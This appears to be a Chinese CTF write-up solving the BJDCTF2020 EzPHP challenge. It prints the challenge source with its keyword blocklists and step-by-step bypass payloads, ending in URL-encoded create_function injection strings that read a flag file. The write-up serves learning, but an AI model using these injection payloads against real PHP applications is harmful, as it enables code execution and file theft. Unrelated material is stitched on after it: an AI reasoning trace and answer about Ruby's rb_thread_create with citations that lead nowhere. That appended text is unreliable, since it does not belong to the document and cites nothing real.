BUUCTF-[BJDCTF2020]EzPHP

本文详述了一道PHP绕过挑战,涉及URL编码、正则漏洞、数组注入、sha1碰撞和create_function注入等技巧,展示了如何逐步解决并获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一道挺不错的绕正则表达式的题。

打开环境

点一点发现啥也没有,日常看源码。Ctrl+U发现了一个加密,本以为是base64,但是解码失败,试了试base32成功了 

这里推荐一个网站CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码 

各种编码方式加密方式挺全的,值得收藏。

访问之后发现是代码审计

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?> 

我们一段一段看。

第一处

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

 $_SERVER解释

url='http://127.0.0.1/zh/index.php?l=1&g=2
那么
$_SERVER[‘QUERY_STRING’] = “l=1&g=2”;
$_SERVER[‘REQUEST_URI’] = “/zh/index.php?l=1&g=2”;
$_SERVER[‘SCRIPT_NAME’] = “/zh/index.php”;
$_SERVER[‘PHP_SELF’] = “/zh/index.php”; 

说明

$_SERVER[“QUERY_STRING”] 获取的是?后面的传参
$_SERVER[“REQUEST_URI”] 获取 ip地址(http://127.0.0.1)后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径

$_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名

此处的bypass:

 $_SERVER[‘QUERY_STRING’]不进行url解码,而GET的传参方式会进行一次解码,因此我们可以把要传的参数进行url编码(此处是对所有字符进行url编码,而不是对特殊字符如空格、引号等进行url编码)即可绕过黑名单限制。

第二处

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

第一个if无所谓,也不会输入http啥的,关键看第二个if。

第二个if需要传入的参数debu的值满足正则aqua_is_cute,^和$用来表示开头和结尾,匹配开头和结尾说明只能是aqua_is_cute,而后面又要求不能等于aqua_is_cute,这里用到一个正则匹配的漏洞,用%0a换行即可绕过

payload:dedu=aqua_is_cute%0a

第三处

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

REQUEST请求包括GET和POST两种方式,用哪种都可以。正则匹配要求不能有字母,这里有一个小知识点:当一个参数同时通过GET和POST两种方式传入时,POST的优先级是高于GET的,所以在GET请求方式中,我们按照需要的构造输入,同时给参数POST一个数字,即可绕过。

第四处

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents可以读取文件内容,但是我们无法在服务器本地找到内容为'debu_debu_aqua'的文件进行读取,而上一部分又过滤了httphttps等协议,也无法进行远程包含,这里使用data协议绕过。

payload:file=data://text/plain,debu_debu_aqua

第五处

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1是一种hash加密方式,这里可以选择碰撞,即找两个值不同但是经过sha1加密后相同的两个字符串进行传参,可以百度搜索这种碰撞对儿。这里用另一种绕过方式,数组绕过。因为sha1无法处理数组,当sha1()的参数为数组,就会返回false。

payload:shana[]=1&passwd[]=2

第六处

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

这里有一个我以前不知道的方法,叫做create_function()注入。参考了大佬的wp,我转述一下。

create_function()函数有两个参数a r g s 和 args和args和code,用于创建一个lambda样式的函数

例如:$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于

function myfunc($a, $b){
    return $a+$b;
}    

此处存在create_function()注入中可以通过控制$arg来进行代码注入,首先保证传入的$code为create_funtion。
其次是$arg参数,本题中过滤了cat、flag、scan等关键字,无法直接命令执行得到flag的值,在网上查阅后找到了合适的函数get_defined_vars()直接输出所有变量。

如何上传是个问题,我们注意到上一处的过滤,给了我们控制$flag变量的机会,所以我们利用flag变量来构造。

payload:flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

最终的payload要用url编码

最终payload

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2ft

(别忘了POST debu和file)


 

拿到响应,发现真正的flag在realfl4g.php里。

还记得上面的vardump……那一串吗,我们把那个替换成require,通过伪协议读取。

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

 同样需要url编码

最终最终的payload

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

 

base64解码一下,得到flag。​​​​​​​

参考博客链接: 

[BJDCTF2020]EzPHP_yym68686的博客-优快云博客

[BJDCTF 2020] EzPHP (超详细)_A丶R的博客-优快云博客

BJDctf2020 Ezphp_87x00的博客-优快云博客

[BJDCTF2020]EzPHP_wuyaoooo的博客-优快云博客

<think>我们正在讨论rb_thread_create的使用和示例。rb_thread_create是Ruby内部用于创建线程的C API函数,通常不直接在Ruby脚本中使用。在Ruby脚本中,我们使用Thread.new或Thread.start来创建线程。但是,用户明确询问了rb_thread_create,因此我们需要解释其在RubyC扩展中的使用。 参考引用: -引用[3]提到了在Rails中生成PDF的示例,但与本问题无关。-用户意图是了解rb_thread_create,因此我们专注于Ruby C扩展中的线程创建。 回答结构: 1.解释rb_thread_create的作用和上下文(在C扩展中)。 2.提供一个简单的C扩展示例,展示如何使用rb_thread_create。3.说明在Ruby脚本中创建线程的常规方法(作为对比)。注意:由于rb_thread_create是内部API,其使用需要谨慎,且在不同Ruby版本中可能有变化。步骤:1.引入:说明rb_thread_create是RubyC API的一部分。2.示例:展示一个简单的C扩展代码,创建一个线程并执行。3.注意事项:说明使用内部API的风险和替代方法。生成相关问题: 1.如何在RubyC扩展中管理线程?2.使用rb_thread_create与Ruby的Thread.new有何不同?3.在多线程编程中需要注意哪些线程安全问题?</think>### `rb_thread_create` 在 Ruby 中的使用与示例 `rb_thread_create` 是 Ruby 内部 C API 的函数,用于在 **Ruby C 扩展** 中创建原生线程。它不直接暴露给 Ruby 脚本层(脚本层应使用 `Thread.new`)。以下是关键说明和示例: --- #### 1. **基本用法** - **函数原型**: ```c VALUE rb_thread_create(rb_thread_func_t func, void *arg); ``` - `func`:线程入口函数(需返回 `VALUE` 类型) - `arg`:传递给线程的参数(需转换为 `void*`) - **线程函数要求**: ```c VALUE thread_function(void *arg) { // 线程逻辑 return Qnil; // 必须返回 VALUE 类型 } ``` --- #### 2. **完整 C 扩展示例** 以下代码演示在 C 扩展中创建线程,并通过 Ruby GIL(全局解释器锁)确保线程安全: ```c #include <ruby.h> // 线程入口函数 VALUE my_thread(void *arg) { int *counter = (int*)arg; for (int i = 0; i < 5; i++) { (*counter)++; rb_thread_sleep(1); // 安全休眠(持有 GIL) } return Qnil; } // Ruby 方法:启动线程 VALUE start_thread(VALUE self) { int counter = 0; // 创建线程(传递 counter 的指针) rb_thread_create(my_thread, &counter); // 等待线程完成(简化示例) rb_thread_sleep(5); // 返回计数结果 return INT2NUM(counter); } // 初始化扩展 void Init_my_extension() { rb_define_global_function("start_thread", start_thread, 0); } ``` **编译与使用**: ```bash $ ruby -e "require 'mkmf'; create_makefile('my_extension')" $ make $ ruby -r ./my_extension -e "puts start_thread" # 输出:5 ``` --- #### 3. **关键注意事项** 1. **GIL 限制**: - Ruby 线程受 GIL 约束,`rb_thread_create` 创建的线程 **不能并行执行 CPU 密集型任务**(仅适用于 I/O 阻塞操作)。 2. **线程安全**: - 操作共享数据时需用 `rb_mutex_lock` 或 `rb_protect` 避免竞争[^1]。 3. **替代方案**: - 在 Ruby 脚本层优先使用 `Thread.new`: ```ruby Thread.new { puts "安全线程" } ``` --- #### 4. **应用场景** - **C 扩展开发**:需要底层控制线程生命周期时(如集成 C 库)。 - **性能敏感模块**:绕过 Ruby 线程调度器(需谨慎评估风险)。 - **混合编程**:在 Ruby 中嵌入 C 语言的多线程逻辑[^2]。 > ⚠️ **警告**:直接使用 `rb_thread_create` 可能导致解释器崩溃或内存泄漏,建议仅在熟悉 Ruby 内部机制时使用。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值